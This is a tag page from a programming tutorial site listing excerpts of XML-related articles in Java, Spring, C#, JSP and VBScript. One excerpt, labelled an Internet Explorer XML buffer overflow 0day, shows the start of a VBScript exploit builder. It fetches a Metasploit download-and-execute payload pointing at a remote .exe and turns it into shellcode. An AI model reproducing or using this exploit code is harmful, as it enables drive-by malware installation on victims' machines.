Tag:xml

  • Java DOM parsing XML file process

    Time:2020-8-1

    This article mainly introduces the Java DOM parsing XML file process in detail, the article through the example code introduction is very detailed, to everyone’s study or work has certain reference learning value, need friends can refer to The code is as follows import java.io.IOException; import javax.xml.parsers.*; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.NamedNodeMap; import org.w3c.dom.Node; […]

  • Example of using XML to manage declarative transaction operation in spring

    Time:2020-7-22

    In this paper, an example is given to show how spring manages declarative transaction operations by XML. For your reference, the details are as follows: 1. Configuration file <?xml version=”1.0″ encoding=”GBK”?> <beans xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance” xmlns=”http://www.springframework.org/schema/beans” xmlns:p=”http://www.springframework.org/schema/p” xmlns:aop=”http://www.springframework.org/schema/aop” xmlns:tx=”http://www.springframework.org/schema/tx” xsi:schemaLocation=”http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-4.0.xsd”> <! — define the data source bean, implement it with c3p0 data […]

  • Taking XML file as a small database is a simple example of students’ adding, deleting, modifying and checking

    Time:2020-6-30

    1. XML file: <?xml version=”1.0″ encoding=”UTF-8″?><Students> <student> <name>ttt</name> <age>44</age> </student> <student> <name>linda2</name> <age>22</age> </student> <student> <name>linda3</name> <age>23</age> </student> <student> <name>jack</name> <age>2</age> </student> <student> <name>yyh1</name> <age>22</age> </student> </Students> 2. Java code import java.io.File; import java.io.IOException; import java.util.Scanner; import javax.xml.parsers.ParserConfigurationException; import javax.xml.transform.Transformer; import javax.xml.transform.TransformerConfigurationException; import javax.xml.transform.TransformerException; import javax.xml.transform.TransformerFactory; import javax.xml.transform.TransformerFactoryConfigurationError; import javax.xml.transform.dom.DOMSource; import javax.xml.transform.stream.StreamResult; import org.w3c.dom.Document; import […]

  • The difference of HTML, XHTML and XML

    Time:2020-6-6

    Development trend: HTML (Hypertext Markup Language) – XHTML (Extensible HyperText Markup Language) – XML (Extensible Markup Language); html: 1. Insensitive to case; 2. Labels do not need to appear in pairs; 3.<br>; xhtml: 1. It is case sensitive and must be lowercase; 2. The labels must appear in pairs. If there is a start label, […]

  • MS Internet Explorer XML parsing buffer overflow exploit (Vista) 0day

    Time:2020-4-28

    ‘code by lcx On Error Resume Next Exeurl = InputBox (“please enter the address of exe:”, “input”, “http://www.haiyangtop.net/333.exe”)url=”http://www.metasploit.com:55555/PAYLOADS?parent=GLOB%280x25bfa38%29&MODULE=win32_downloadexec&MODE=GENERATE&OPT_URL=”&URLEncoding(Exeurl)&”&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload” Body = getHTTPPage(url) Set Re = New RegExp Re.Pattern = “(\$shellcode \=[\s\S]+</div></pre>)” Set Matches = Re.Execute(Body) If Matches.Count>0 Then Body = Matches(0).value code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,”$shellcode =”,””),Chr(34),””),Chr(13),””),”;”,””),”</div></pre>”,””),Chr(10),””),”.”,””)) function replaceregex(str) set regex=new regExp regex.pattern=”\\x(..)\\x(..)” regex.IgnoreCase=true regex.global=true matches=regex.replace(str,”%u$2$1″) replaceregex=matches end Function Function […]

  • VBScript reading configuration file in XML format

    Time:2020-4-23

    Copy codeThe code is as follows: Class clsGetProfile ‘ ルートドキュメント Private rootDoc ‘XML ぱ ァイルとセクションをセットする‘argument:’ 1 ‘name not null‘why: whyPublic Sub setProfile(strFileName) Set data_xml = CreateObject(“Microsoft.XMLDOM”) data_xml.async = False data_xml.load(strFileName) Set rootDoc = data_xml.documentElement End Sub ‘we should take measures against the acquisition of foreign capital‘argument:’ 1 ‘キ name not null‘”2″ セ ク シ ョ […]

  • C ා use XmlDocument or xdocument to create XML file

    Time:2020-4-22

    Create an XML file using XmlDocument or xdocument as follows Reference required: system.xml; system.xml.linq; 1. Create XML with XmlDocument (introduction case) static void Main(string[] args) { //Creating XML with XmlDocument XmlDocument xmldoc = new XmlDocument(); XmlDeclaration xmldec = xmldoc.CreateXmlDeclaration(“1.0”, “utf-8”, “yes”); xmldoc.AppendChild(xmldec); //Add root node XmlElement rootElement = xmldoc.CreateElement(“school”); xmldoc.AppendChild(rootElement); //Add root node下的子节点元素 XmlElement classElement […]

  • JSP implementation of putting information into XML

    Time:2020-3-19

    The example of this paper describes the method of putting information into XML by JSP. To share with you for your reference, as follows: 1. JSP code: Province: < select name = “province” onchange = “jssubmit()” > < option value = “Beijing” selected = “selected” > Beijing < / option > < option value = […]

  • Solution to open XML Chinese display as garbled code in UltraEdit

    Time:2020-2-3

    How to open XML in UltraEdit and display it as garbled code?When using UltraEdit, some friends may encounter the situation of opening XML Chinese scrambling. How to deal with this situation? The following small compilation brings you the detailed processing steps of UltraEdit opening XML Chinese scrambling. Interested friends, come to know about it.   […]

  • An example of the conversion between XML and JSON in Java

    Time:2020-1-18

    The example of this article describes how to implement the conversion between XML and JSON in Java. To share with you for your reference, as follows: Narrator: Recently, the conversion between XML and JSON has been confused. Here’s a demo for future use. Topic: The project format is: Jar packages are checked out one by […]

  • The role of XML CDATA

    Time:2019-12-10

    This is using XML CDATAAll text in an XML document is parsed by the parser.Only text within CDATA parts is ignored by the parser. Analytical dataXML parsers typically process all the text in an XML document.When an XML element is parsed, the text inside the XML element is also parsed:<message>This text is also parsed</message> The […]